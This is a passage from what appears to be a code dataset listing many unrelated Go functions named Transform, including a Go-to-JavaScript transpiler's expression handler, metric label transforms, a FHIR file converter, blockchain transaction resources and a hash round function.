frame)\n\t\t}\n\t}\n\n\treturn &Exception{\n\t\tType: ex.Type,\n\t\tValue: ex.Value,\n\t\tStacktrace: &Stacktrace{Frames: frames},\n\t\tTimestamp: ex.Timestamp,\n\t}\n}", "func (r *RemoveLabels) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\n\tfor i := range mfs {\n\t\tfor j, m := range mfs[i].Metric {\n\t\t\t// Filter out labels\n\t\t\tlabels := m.Label[:0]\n\t\t\tfor _, l := range m.Label {\n\t\t\t\tif _, ok := r.Labels[l.GetName()]; !ok {\n\t\t\t\t\tlabels = append(labels, l)\n\t\t\t\t}\n\t\t\t}\n\t\t\tmfs[i].Metric[j].Label = labels\n\t\t}\n\t}\n\treturn mfs\n}", "func (e *expression) transform(expr ast.Expr) {\n\tswitch typ := expr.(type) {\n\n\t// godoc go/ast ArrayType\n\t// Lbrack token.Pos // position of \"[\"\n\t// Len Expr // Ellipsis node for [...]T array types, nil for slice types\n\t// Elt Expr // element type\n\tcase *ast.ArrayType:\n\t\t// Type checking\n\t\tif _, ok := typ.Elt.(*ast.Ident); ok {\n\t\t\tif e.tr.getExpression(typ.Elt).hasError {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tif typ.Len == nil { // slice\n\t\t\tbreak\n\t\t}\n\t\tif _, ok := typ.Len.(*ast.Ellipsis); ok {\n\t\t\te.isEllipsis = true\n\t\t\tbreak\n\t\t}\n\n\t\tif len(e.lenArray) != 0 {\n\t\t\te.writeLoop()\n\t\t\te.WriteString(fmt.Sprintf(\"{%s%s=\", SP+e.varName, e.printArray()))\n\t\t}\n\t\te.WriteString(\"[]\")\n\t\te.addLenArray(typ.Len)\n\n\t\tswitch t := typ.Elt.(type) {\n\t\tcase *ast.ArrayType: // multi-dimensional array\n\t\t\te.transform(typ.Elt)\n\t\tcase *ast.Ident, *ast.StarExpr: // the type is initialized\n\t\t\tzero, _ := e.tr.zeroValue(true, typ.Elt)\n\n\t\t\te.writeLoop()\n\t\t\te.WriteString(fmt.Sprintf(\"{%s=%s;%s}\",\n\t\t\t\tSP+e.tr.lastVarName+e.printArray(), zero, SP))\n\n\t\t\tif len(e.lenArray) > 1 {\n\t\t\t\te.WriteString(strings.Repeat(\"}\", len(e.lenArray)-1))\n\t\t\t}\n\t\tdefault:\n\t\t\tpanic(fmt.Sprintf(\"*expression.transform: type unimplemented: %T\", t))\n\t\t}\n\t\te.skipSemicolon = true\n\n\t// godoc go/ast BasicLit\n\t// Kind token.Token // token.INT, token.FLOAT, token.IMAG, token.CHAR, or token.STRING\n\t// Value string // literal string\n\tcase *ast.BasicLit:\n\t\te.WriteString(typ.Value)\n\t\te.isBasicLit = true\n\n\t// http://golang.org/doc/go_spec.html#Comparison_operators\n\t// https://developer.mozilla.org/en/JavaScript/Reference/Operators/Comparison_Operators\n\t//\n\t// godoc go/ast BinaryExpr\n\t// X Expr // left operand\n\t// Op token.Token // operator\n\t// Y Expr // right operand\n\tcase *ast.BinaryExpr:\n\t\tisComparing := false\n\t\tisOpNot := false\n\t\top := typ.Op.String()\n\n\t\tswitch typ.Op {\n\t\tcase token.NEQ:\n\t\t\tisOpNot = true\n\t\t\tfallthrough\n\t\tcase token.EQL:\n\t\t\top += \"=\"\n\t\t\tisComparing = true\n\t\t}\n\n\t\tif e.tr.isConst {\n\t\t\te.transform(typ.X)\n\t\t\te.WriteString(SP + op + SP)\n\t\t\te.transform(typ.Y)\n\t\t\tbreak\n\t\t}\n\n\t\t// * * *\n\t\tx := e.tr.getExpression(typ.X)\n\t\ty := e.tr.getExpression(typ.Y)\n\n\t\tif isComparing {\n\t\t\txStr := stripField(x.String())\n\t\t\tyStr := stripField(y.String())\n\n\t\t\tif y.isNil && e.tr.isType(sliceType, xStr) {\n\t\t\t\tif isOpNot {\n\t\t\t\t\te.WriteString(\"!\")\n\t\t\t\t}\n\t\t\t\te.WriteString(xStr + \".isNil()\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif x.isNil && e.tr.isType(sliceType, yStr) {\n\t\t\t\tif isOpNot {\n\t\t\t\t\te.WriteString(\"!\")\n\t\t\t\t}\n\t\t\t\te.WriteString(yStr + \".isNil()\")\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// * * *\n\t\tstringify := false\n\n\t\t// JavaScript only compares basic literals.\n\t\tif isComparing && !x.isBasicLit && !x.returnBasicLit && !y.isBasicLit && !y.returnBasicLit {\n\t\t\tstringify = true\n\t\t}\n\n\t\tif stringify {\n\t\t\te.WriteString(\"JSON.stringify(\" + x.String() + \")\")\n\t\t} else {\n\t\t\te.WriteString(x.String())\n\t\t}\n\t\t// To know when a pointer is compared with the value nil.\n\t\tif y.isNil && !x.isPointer && !x.isAddress {\n\t\t\te.WriteString(NIL)\n\t\t}\n\n\t\te.WriteString(SP + op + SP)\n\n\t\tif stringify {\n\t\t\te.WriteString(\"JSON.stringify(\" + y.String() + \")\")\n\t\t} else {\n\t\t\te.WriteString(y.String())\n\t\t}\n\t\tif x.isNil && !y.isPointer && !y.isAddress {\n\t\t\te.WriteString(NIL)\n\t\t}\n\n\t// godoc go/ast CallExpr\n\t// Fun Expr // function expression\n\t// Args []Expr // function arguments; or nil\n\tcase *ast.CallExpr:\n\t\t// === Library\n\t\tif call, ok := typ.Fun.(*ast.SelectorExpr); ok {\n\t\t\te.transform(call)\n\n\t\t\tstr := fmt.Sprintf(\"%s\", e.tr.GetArgs(e.funcName, typ.Args))\n\t\t\tif e.funcName != \"fmt.Sprintf\" && e.funcName != \"fmt.Sprint\" {\n\t\t\t\tstr = \"(\" + str + \")\"\n\t\t\t}\n\n\t\t\te.WriteString(str)\n\t\t\tbreak\n\t\t}\n\n\t\t// === Conversion: []byte()\n\t\tif call, ok := typ.Fun.(*ast.ArrayType); ok {\n\t\t\tif call.Elt.(*ast.Ident).Name == \"byte\" {\n\t\t\t\te.transform(typ.Args[0])\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Sprintf(\"call of conversion unimplemented: []%T()\", call))\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\t// === Built-in functions - golang.org/pkg/builtin/\n\t\tcall := typ.Fun.(*ast.Ident).Name\n\n\t\tswitch call {\n\t\tcase \"make\":\n\t\t\t// Type checking\n\t\t\tif e.tr.getExpression(typ.Args[0]).hasError {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tswitch argType := typ.Args[0].(type) {\n\t\t\t// For slice\n\t\t\tcase *ast.ArrayType:\n\t\t\t\tzero, _ := e.tr.zeroValue(true, argType.Elt)\n\n\t\t\t\te.WriteString(fmt.Sprintf(\"%s,%s%s\", zero, SP,\n\t\t\t\t\te.tr.getExpression(typ.Args[1]))) // length\n\n\t\t\t\t// capacity\n\t\t\t\tif len(typ.Args) == 3 {\n\t\t\t\t\te.WriteString(\",\" + SP + e.tr.getExpression(typ.Args[2]).String())\n\t\t\t\t}\n\n//\t\t\t\te.tr.slices[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\t\t\t\te.isMake = true\n\n\t\t\tcase *ast.MapType:\n\t\t\t\te.tr.maps[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\t\t\t\te.WriteString(\"new g.M({},\" + SP + e.tr.zeroOfMap(argType) + \")\")\n\n\t\t\tcase *ast.ChanType:\n\t\t\t\te.transform(typ.Fun)\n\n\t\t\tdefault:\n\t\t\t\tpanic(fmt.Sprintf(\"call of 'make' unimplemented: %T\", argType))\n\t\t\t}\n\n\t\tcase \"new\":\n\t\t\tswitch argType := typ.Args[0].(type) {\n\t\t\tcase *ast.ArrayType:\n\t\t\t\tfor _, arg := range typ.Args {\n\t\t\t\t\te.transform(arg)\n\t\t\t\t}\n\n\t\t\tcase *ast.Ident:\n\t\t\t\tvalue, _ := e.tr.zeroValue(true, argType)\n\t\t\t\te.WriteString(value)\n\n\t\t\tdefault:\n\t\t\t\tpanic(fmt.Sprintf(\"call of 'new' unimplemented: %T\", argType))\n\t\t\t}\n\n\t\t// == Conversion\n\t\tcase \"string\":\n\t\t\targ := e.tr.getExpression(typ.Args[0]).String()\n\t\t\t_arg := stripField(arg)\n\n\t\t\tif !e.tr.isType(sliceType, _arg) {\n\t\t\t\te.WriteString(arg)\n\t\t\t\te.returnBasicLit = true\n\t\t\t} else {\n\t\t\t\te.WriteString(_arg + \".toString()\")\n\t\t\t}\n\n\t\tcase \"uint\", \"uint8\", \"uint16\", \"uint32\",\n\t\t\t\"int\", \"int8\", \"int16\", \"int32\",\n\t\t\t\"float32\", \"float64\", \"byte\", \"rune\":\n\t\t\te.transform(typ.Args[0])\n\t\t\te.returnBasicLit = true\n\t\t// ==\n\n\t\tcase \"print\", \"println\":\n\t\t\te.WriteString(fmt.Sprintf(\"console.log(%s)\", e.tr.GetArgs(call, typ.Args)))\n\n\t\tcase \"len\":\n\t\t\targ := e.tr.getExpression(typ.Args[0]).String()\n\t\t\t_arg := stripField(arg)\n\n\t\t\tif e.tr.isType(sliceType, _arg) {\n\t\t\t\te.WriteString(_arg + \".len\")\n\t\t\t} else {\n\t\t\t\te.WriteString(arg + \".length\")\n\t\t\t}\n\n\t\t\te.returnBasicLit = true\n\n\t\tcase \"cap\":\n\t\t\targ := e.tr.getExpression(typ.Args[0]).String()\n\t\t\t_arg := stripField(arg)\n\n\t\t\tif e.tr.isType(sliceType, _arg) {\n\t\t\t\tif strings.HasSuffix(arg, \".f\") {\n\t\t\t\t\targ = _arg\n\t\t\t\t}\n\t\t\t}\n\n\t\t\te.WriteString(arg + \".cap\")\n\t\t\te.returnBasicLit = true\n\n\t\tcase \"delete\":\n\t\t\te.WriteString(fmt.Sprintf(\"delete %s.f[%s]\",\n\t\t\t\te.tr.getExpression(typ.Args[0]).String(),\n\t\t\t\te.tr.getExpression(typ.Args[1]).String()))\n\n\t\tcase \"panic\":\n\t\t\te.WriteString(fmt.Sprintf(\"throw new Error(%s)\",\n\t\t\t\te.tr.getExpression(typ.Args[0])))\n\n\t\t// === Not supported\n\t\tcase \"recover\", \"complex\":\n\t\t\te.tr.addError(\"%s: built-in function %s()\",\n\t\t\t\te.tr.fset.Position(typ.Fun.Pos()), call)\n\t\t\te.tr.hasError = true\n\t\t\treturn\n\t\tcase \"int64\", \"uint64\":\n\t\t\te.tr.addError(\"%s: conversion of type %s\",\n\t\t\t\te.tr.fset.Position(typ.Fun.Pos()), call)\n\t\t\te.tr.hasError = true\n\t\t\treturn\n\n\t\t// === Not implemented\n\t\tcase \"append\", \"close\", \"copy\", \"uintptr\":\n\t\t\tpanic(fmt.Sprintf(\"built-in call unimplemented: %s\", call))\n\n\t\t// Defined functions\n\t\tdefault:\n\t\t\targs := \"\"\n\n\t\t\tfor i, v := range typ.Args {\n\t\t\t\tif i != 0 {\n\t\t\t\t\targs += \",\" + SP\n\t\t\t\t}\n\t\t\t\targs += e.tr.getExpression(v).String()\n\t\t\t}\n\n\t\t\te.WriteString(fmt.Sprintf(\"%s(%s)\", call, args))\n\t\t}\n\n\t// godoc go/ast ChanType\n\t// Begin token.Pos // position of \"chan\" keyword or \"<-\" (whichever comes first)\n\t// Dir ChanDir // channel direction\n\t// Value Expr // value type\n\tcase *ast.ChanType:\n\t\te.tr.addError(\"%s: channel type\", e.tr.fset.Position(typ.Pos()))\n\t\te.tr.hasError = true\n\t\treturn\n\n\t// godoc go/ast CompositeLit\n\t// Type Expr // literal type; or nil\n\t// Lbrace token.Pos // position of \"{\"\n\t// Elts []Expr // list of composite elements; or nil\n\t// Rbrace token.Pos // position of \"}\"\n\tcase *ast.CompositeLit:\n\t\tswitch compoType := typ.Type.(type) {\n\t\tcase *ast.ArrayType:\n\t\t\tif !e.arrayHasElts {\n\t\t\t\te.transform(typ.Type)\n\t\t\t}\n\n\t\t\tif e.isEllipsis {\n\t\t\t\te.WriteString(\"[\")\n\t\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\t\te.WriteString(\"]\")\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// Slice\n/*\t\t\tif compoType.Len == nil {\n\t\t\t\te.tr.slices[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\t\t\t}*/\n\t\t\t// For arrays with elements\n\t\t\tif len(typ.Elts) != 0 {\n\t\t\t\tif !e.arrayHasElts && compoType.Len != nil {\n\t\t\t\t\te.WriteString(fmt.Sprintf(\"%s=%s\", SP+e.varName+SP, SP))\n\t\t\t\t\te.arrayHasElts = true\n\t\t\t\t}\n\t\t\t\te.WriteString(\"[\")\n\t\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\t\te.WriteString(\"]\")\n\n\t\t\t\te.skipSemicolon = false\n\t\t\t}\n\n\t\tcase *ast.Ident: // Custom types\n\t\t\tuseField := false\n\t\t\te.WriteString(\"new \" + typ.Type.(*ast.Ident).Name)\n\n\t\t\tif len(typ.Elts) != 0 {\n\t\t\t\t// Specify the fields\n\t\t\t\tif _, ok := typ.Elts[0].(*ast.KeyValueExpr); ok {\n\t\t\t\t\tuseField = true\n\n\t\t\t\t\te.WriteString(\"();\")\n\t\t\t\t\te.writeTypeElts(typ.Elts, typ.Lbrace)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !useField {\n\t\t\t\te.WriteString(\"(\")\n\t\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\t\te.WriteString(\")\")\n\t\t\t}\n\n\t\tcase *ast.MapType:\n\t\t\t// Type checking\n\t\t\tif e.tr.getExpression(typ.Type).hasError {\n\t\t\t\treturn\n\t\t\t}\n\t\t\te.tr.maps[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\n\n\t\t\te.WriteString(\"new g.M({\")\n\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\te.WriteString(\"},\" + SP + e.tr.zeroOfMap(compoType) + \")\")\n\n\t\tcase nil:\n\t\t\te.WriteString(\"[\")\n\t\t\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\n\t\t\te.WriteString(\"]\")\n\n\t\tdefault:\n\t\t\tpanic(fmt.Sprintf(\"'CompositeLit' unimplemented: %T\", compoType))\n\t\t}\n\n\t// godoc go/ast Ellipsis\n\t// Ellipsis token.Pos // position of \"...\"\n\t// Elt Expr // ellipsis element type (parameter lists only); or nil\n\t//case *ast.Ellipsis:\n\n\t// http://golang.org/doc/go_spec.html#Function_literals\n\t// https://developer.mozilla.org/en/JavaScript/Reference/Functions_and_function_scope#Function_constructor_vs._function_declaration_vs._function_expression\n\t// godoc go/ast FuncLit\n\t//\n\t// Type *FuncType // function type\n\t// Body *BlockStmt // function body\n\tcase *ast.FuncLit:\n\t\te.transform(typ.Type)\n\t\te.tr.getStatement(typ.Body)\n\n\t// godoc go/ast FuncType\n\t// Func token.Pos // position of \"func\" keyword\n\t// Params *FieldList // (incoming) parameters; or nil\n\t// Results *FieldList // (outgoing) results; or nil\n\tcase *ast.FuncType:\n\t\t//e.isFunc = true\n\t\te.tr.writeFunc(nil, nil, typ)\n\n\t// godoc go/ast Ident\n\t// Name string // identifier name\n\tcase *ast.Ident:\n\t\tname := typ.Name\n\n\t\tswitch name {\n\t\tcase \"iota\":\n\t\t\te.WriteString(IOTA)\n\t\t\te.useIota = true\n\n\t\t// Undefined value in array / slice\n\t\tcase \"_\":\n\t\t\tif len(e.lenArray) == 0 {\n\t\t\t\te.WriteString(name)\n\t\t\t}\n\t\t// https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/undefined\n\t\tcase \"nil\":\n\t\t\te.WriteString(\"undefined\")\n\t\t\te.isBasicLit = true\n\t\t\te.isNil = true\n\n\t\t// Not supported\n\t\tcase \"int64\", \"uint64\", \"complex64\", \"complex128\":\n\t\t\te.tr.addError(\"%s: %s type\", e.tr.fset.Position(typ.Pos()), name)\n\t\t\te.tr.hasError = true\n\t\t// Not implemented\n\t\tcase \"uintptr\":\n\t\t\te.tr.addError(\"%s: unimplemented type %q\", e.tr.fset.Position(typ.Pos()), name)\n\t\t\te.tr.hasError = true\n\n\t\tdefault:\n\t\t\tif e.isPointer { // `*x` => `x.p`\n\t\t\t\tname += \".p\"\n\t\t\t} else if e.isAddress { // `&x` => `x`\n\t\t\t\te.tr.addPointer(name)\n\t\t\t} else {\n\t\t\t\tif !e.tr.isVar {\n\t\t\t\t\tisSlice := false\n\n\t\t\t\t\tif e.tr.isType(sliceType, name) {\n\t\t\t\t\t\tisSlice = true\n\t\t\t\t\t}\n\t\t\t\t\t/*if name == e.tr.recvVar {\n\t\t\t\t\t\tname = \"this\"\n\t\t\t\t\t}*/\n\t\t\t\t\tif isSlice {\n\t\t\t\t\t\tname += \".f\" // slice field\n\t\t\t\t\t}\n\n\t\t\t\t\tif _, ok := e.tr.vars[e.tr.funcId][e.tr.blockId][name]; ok {\n\t\t\t\t\t\tname += tagPointer(false, 'P', e.tr.funcId, e.tr.blockId, name)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\te.isIdent = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\te.WriteString(name)\n\t\t}\n\n\t// godoc go/ast IndexExpr\n\t// Represents an expression followed by an index.\n\t// X Expr // expression\n\t// Lbrack token.Pos // position of \"[\"\n\t// Index Expr // index expression\n\t// Rbrack token.Pos // position of \"]\"\n\tcase *ast.IndexExpr:\n\t\t// == Store indexes\n\t\te.index = append(e.index, e.tr.getExpression(typ.Index).String())\n\n\t\t// Could be multi-dimensional\n\t\tif _, ok := typ.X.(*ast.IndexExpr); ok {\n\t\t\te.transform(typ.X)\n\t\t\treturn\n\t\t}\n\t\t// ==\n\n\t\tx := e.tr.getExpression(typ.X).String()\n\t\tindex := \"\"\n\t\tindexArgs := \"\"\n\n\t\tfor i := len(e.index)-1; i >= 0; i-- { // inverse order\n\t\t\tidx := e.index[i]\n\t\t\tindex += \"[\" + idx + \"]\"\n\n\t\t\tif indexArgs != \"\" {\n\t\t\t\tindexArgs += \",\" + SP\n\t\t\t}\n\t\t\tindexArgs += idx\n\t\t}\n\n\t\tif e.tr.isType(mapType, x) {\n\t\t\te.mapName = x\n\n\t\t\tif e.tr.isVar && !e.isValue {\n\t\t\t\te.WriteString(x + \".f\" + index)\n\t\t\t} else {\n\t\t\t\te.WriteString(x + \".get(\" + indexArgs + \")[0]\")\n\t\t\t}\n\t\t} else if e.tr.isType(sliceType, x) {\n\t\t\te.WriteString(x + \".f\" + index)\n\t\t} else {\n\t\t\te.WriteString(x + index)\n\t\t}\n\n\t// godoc go/ast InterfaceType\n\t// Interface token.Pos // position of \"interface\" keyword\n\t// Methods *FieldList // list of methods\n\t// Incomplete bool // true if (source) methods are missing in the Methods list\n\tcase *ast.InterfaceType: // TODO: review\n\n\t// godoc go/ast KeyValueExpr\n\t// Key Expr\n\t// Colon token.Pos // position of \":\"\n\t// Value Expr\n\tcase *ast.KeyValueExpr:\n\t\tkey := e.tr.getExpression(typ.Key).String()\n\t\texprValue := e.tr.getExpression(typ.Value)\n\t\tvalue := exprValue.String()\n\n\t\tif value[0] == '[' { // multi-dimensional index\n\t\t\tvalue = \"{\" + value[1:len(value)-1] + \"}\"\n\t\t}\n\n\t\te.WriteString(key + \":\" + SP + value)\n\n\t// godoc go/ast MapType\n\t// Map token.Pos // position of \"map\" keyword\n\t// Key Expr\n\t// Value Expr\n\tcase *ast.MapType:\n\t\t// For type checking\n\t\te.tr.getExpression(typ.Key)\n\t\te.tr.getExpression(typ.Value)\n\n\t// godoc go/ast ParenExpr\n\t// Lparen token.Pos // position of \"(\"\n\t// X Expr // parenthesized expression\n\t// Rparen token.Pos // position of \")\"\n\tcase *ast.ParenExpr:\n\t\te.transform(typ.X)\n\n\t// godoc go/ast SelectorExpr\n\t// X Expr // expression\n\t// Sel *Ident // field selector\n\tcase *ast.SelectorExpr:\n\t\tisPkg := false\n\t\tx := \"\"\n\n\t\tswitch t := typ.X.(type) {\n\t\tcase *ast.SelectorExpr:\n\t\t\te.transform(typ.X)\n\t\tcase *ast.Ident:\n\t\t\tx = t.Name\n\t\tcase *ast.IndexExpr:\n\t\t\te.transform(t)\n\t\t\te.WriteString(\".\" + typ.Sel.Name)\n\t\t\treturn\n\t\tdefault:\n\t\t\tpanic(fmt.Sprintf(\"'SelectorExpr': unimplemented: %T\", t))\n\t\t}\n\n\t\tif x == e.tr.recvVar {\n\t\t\tx = \"this\"\n\t\t}\n\t\tgoName := x + \".\" + typ.Sel.Name\n\n\t\t// Check is the selector is a package\n\t\tfor _, v := range validImport {\n\t\t\tif v == x {\n\t\t\t\tisPkg = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Check if it can be transformed to its equivalent in JavaScript.\n\t\tif isPkg {\n\t\t\tjsName, ok := Function[goName]\n\t\t\tif !ok {\n\t\t\t\tjsName, ok = Constant[goName]\n\t\t\t}\n\n\t\t\tif !ok {\n\t\t\t\te.tr.addError(fmt.Errorf(\"%s: %q not supported in JS\",\n\t\t\t\t\te.tr.fset.Position(typ.Sel.Pos()), goName))\n\t\t\t\te.tr.hasError = true\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\te.funcName = goName\n\t\t\te.WriteString(jsName)\n\t\t} else {\n\t\t\t/*if _, ok := e.tr.zeroType[x]; !ok {\n\t\t\t\tpanic(\"selector: \" + x)\n\t\t\t}*/\n\n\t\t\te.WriteString(goName)\n\t\t}\n\n\t// godoc go/ast SliceExpr\n\t// X Expr // expression\n\t// Lbrack token.Pos // position of \"[\"\n\t// Low Expr // begin of slice range; or nil\n\t// High Expr // end of slice range; or nil\n\t// Rbrack token.Pos // position of \"]\"\n\tcase *ast.SliceExpr:\n\t\tslice := \"0\"\n\t\tx := typ.X.(*ast.Ident).Name\n\n\t\tif typ.Low != nil {\n\t\t\tslice = typ.Low.(*ast.BasicLit).Value // e.tr.getExpression(typ.Low).String()\n\t\t}\n\t\tif typ.High != nil {\n\t\t\tslice += \",\" + SP + typ.High.(*ast.BasicLit).Value // e.tr.getExpression(typ.High).String()\n\t\t}\n\n\t\tif e.tr.isVar {\n\t\t\te.WriteString(x + \",\" + SP+slice)\n\t\t} else {\n\t\t\te.WriteString(fmt.Sprintf(\"g.NewSlice(%s,%s)\", x, SP+slice))\n\t\t}\n\n\t\te.name = x\n\t\te.isSlice = true\n\n\t// godoc go/ast StructType\n\t// Struct token.Pos // position of \"struct\" keyword\n\t// Fields *FieldList // list of field declarations\n\t// Incomplete bool // true if (source) fields are missing in the Fields list\n\tcase *ast.StructType:\n\n\t// godoc go/ast StarExpr\n\t// Star token.Pos // position of \"*\"\n\t// X Expr // operand\n\tcase *ast.StarExpr:\n\t\te.isPointer = true\n\t\te.transform(typ.X)\n\n\t// godoc go/ast UnaryExpr\n\t// OpPos token.Pos // position of Op\n\t// Op token.Token // operator\n\t// X Expr // operand\n\tcase *ast.UnaryExpr:\n\t\twriteOp := true\n\t\top := typ.Op.String()\n\n\t\tswitch typ.Op {\n\t\t// Bitwise complement\n\t\tcase token.XOR:\n\t\t\top = \"~\"\n\t\t// Address operator\n\t\tcase token.AND:\n\t\t\te.isAddress = true\n\t\t\twriteOp = false\n\t\tcase token.ARROW:\n\t\t\te.tr.addError(\"%s: channel operator\", e.tr.fset.Position(typ.OpPos))\n\t\t\te.tr.hasError = true\n\t\t\treturn\n\t\t}\n\n\t\tif writeOp {\n\t\t\te.WriteString(op)\n\t\t}\n\t\te.transform(typ.X)\n\n\t// The type has not been indicated\n\tcase nil:\n\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"unimplemented: %T\", expr))\n\t}\n}", "func transform(sc *scope, e sexpr) sexpr {\n\treturn e\n}", "func TransformCommand(c *cli.Context) error {\n\tif c.NArg() != 1 {\n\t\tcli.ShowCommandHelp(c, \"transform\")\n\n\t\treturn fmt.Errorf(\"Missing required argument FILE\")\n\t}\n\n\tfhirVersion := c.GlobalString(\"fhir\")\n\tfilename := c.Args().Get(0)\n\n\tfileContent, err := ioutil.ReadFile(filename)\n\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Error reading file %s\", filename)\n\t}\n\n\titer := jsoniter.ConfigFastest.BorrowIterator(fileContent)\n\tdefer jsoniter.ConfigFastest.ReturnIterator(iter)\n\n\tres := iter.Read()\n\n\tif res == nil {\n\t\treturn errors.Wrapf(err, \"Error parsing file %s as JSON\", filename)\n\t}\n\n\tout, err := doTransform(res.(map[string]interface{}), fhirVersion)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error performing transformation\")\n\t}\n\n\toutJson, err := jsoniter.ConfigFastest.MarshalIndent(out, \"\", \" \")\n\n\tos.Stdout.Write(outJson)\n\tos.Stdout.Write([]byte(\"\\n\"))\n\n\treturn nil\n}", "func (UnbondDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.UnbondData)\n\tcoin := context.Coins().GetCoin(data.Coin)\n\n\treturn UnbondDataResource{\n\t\tPubKey: data.PubKey.String(),\n\t\tValue: data.Value.String(),\n\t\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\n\t}\n}", "func Transform(db *gorm.DB, queries ...Query) *gorm.DB {\n\tfor _, q := range queries {\n\t\tdb = q(db)\n\t}\n\n\treturn db\n}", "func (def *Definition) Transform(v interface{}) ([]Event, error) {\n\treturn def.g.transform(v)\n}", "func (CreateMultisigDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.CreateMultisigData)\n\n\tvar weights []string\n\tfor _, weight := range data.Weights {\n\t\tweights = append(weights, strconv.Itoa(int(weight)))\n\t}\n\n\treturn CreateMultisigDataResource{\n\t\tThreshold: strconv.Itoa(int(data.Threshold)),\n\t\tWeights: weights,\n\t\tAddresses: data.Addresses,\n\t}\n}", "func (c *Curl) transform() {\n\tvar tmp [StateSize]int8\n\ttransform(&tmp, &c.state, uint(c.rounds))\n\t// for odd number of rounds we need to copy the buffer into the state\n\tif c.rounds%2 != 0 {\n\t\tcopy(c.state[:], tmp[:])\n\t}\n}", "func (e Encoder) Transform(input string) (string, error) {\n\tif e.ShouldDecode {\n\t\tdata, err := e.GetEncoder().DecodeString(input)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"can't decode input: %v\", err)\n\t\t}\n\n\t\treturn string(data), nil\n\t}\n\n\treturn e.GetEncoder().EncodeToString([]byte(input)), nil\n}", "func transformEvent(event *APIEvents) {\n\t// if event version is <= 1.21 there will be no Action and no Type\n\tif event.Action == \"\" && event.Type == \"\" {\n\t\tevent.Action = event.Status\n\t\tevent.Actor.ID = event.ID\n\t\tevent.Actor.Attributes = map[string]string{}\n\t\tswitch event.Status {\n\t\tcase \"delete\", \"import\", \"pull\", \"push\", \"tag\", \"untag\":\n\t\t\tevent.Type = \"image\"\n\t\tdefault:\n\t\t\tevent.Type = \"container\"\n\t\t\tif event.From != \"\" {\n\t\t\t\tevent.Actor.Attributes[\"image\"] = event.From\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif event.Status == \"\" {\n\t\t\tif event.Type == \"image\" || event.Type == \"container\" {\n\t\t\t\tevent.Status = event.Action\n\t\t\t} else {\n\t\t\t\t// Because just the Status has been overloaded with different Types\n\t\t\t\t// if an event is not for an image or a container, we prepend the type\n\t\t\t\t// to avoid problems for people relying on actions being only for\n\t\t\t\t// images and containers\n\t\t\t\tevent.Status = event.Type + \":\" + event.Action\n\t\t\t}\n\t\t}\n\t\tif event.ID == \"\" {\n\t\t\tevent.ID = event.Actor.ID\n\t\t}\n\t\tif event.From == \"\" {\n\t\t\tevent.From = event.Actor.Attributes[\"image\"]\n\t\t}\n\t}\n}", "func (a *AddLabels) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\n\tfor i := range mfs {\n\t\tfor j, m := range mfs[i].Metric {\n\t\t\t// Filter out labels to add\n\t\t\tlabels := m.Label[:0]\n\t\t\tfor _, l := range m.Label {\n\t\t\t\tif _, ok := a.Labels[l.GetName()]; !ok {\n\t\t\t\t\tlabels = append(labels, l)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add all new labels to the metric\n\t\t\tfor k, v := range a.Labels {\n\t\t\t\tlabels = append(labels, L(k, v))\n\t\t\t}\n\t\t\tsort.Sort(labelPairSorter(labels))\n\t\t\tmfs[i].Metric[j].Label = labels\n\t\t}\n\t}\n\treturn mfs\n}", "func (s *ShowCreateDatabase) TransformUp(f sql.TransformNodeFunc) (sql.Node, error) {\n\treturn f(s)\n}", "func Transform[T, R any](it TryNextor[T], with func(context.Context, T) (R, error), cs ...TransformConfig) TryNextor[R] {\n\tr := &chunkMapping[T, R]{\n\t\tinner: it,\n\t\tmapper: with,\n\t\tchunkMappingCfg: chunkMappingCfg{\n\t\t\tchunkSize: 1,\n\t\t},\n\t}\n\tfor _, c := range cs {\n\t\tc(&r.chunkMappingCfg)\n\t}\n\tif r.quota == nil {\n\t\tr.quota = utils.NewWorkerPool(r.chunkSize, \"max-concurrency\")\n\t}\n\tif r.quota.Limit() > int(r.chunkSize) {\n\t\tr.chunkSize = uint(r.quota.Limit())\n\t}\n\treturn r\n}", "func fnTransform(ctx Context, doc *JDoc, params []string) interface{} {\n\tstats := ctx.Value(EelTotalStats).(*ServiceStats)\n\tif params == nil || len(params) == 0 || len(params) > 4 {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"wrong_number_of_parameters\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"wrong number of parameters in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\th := 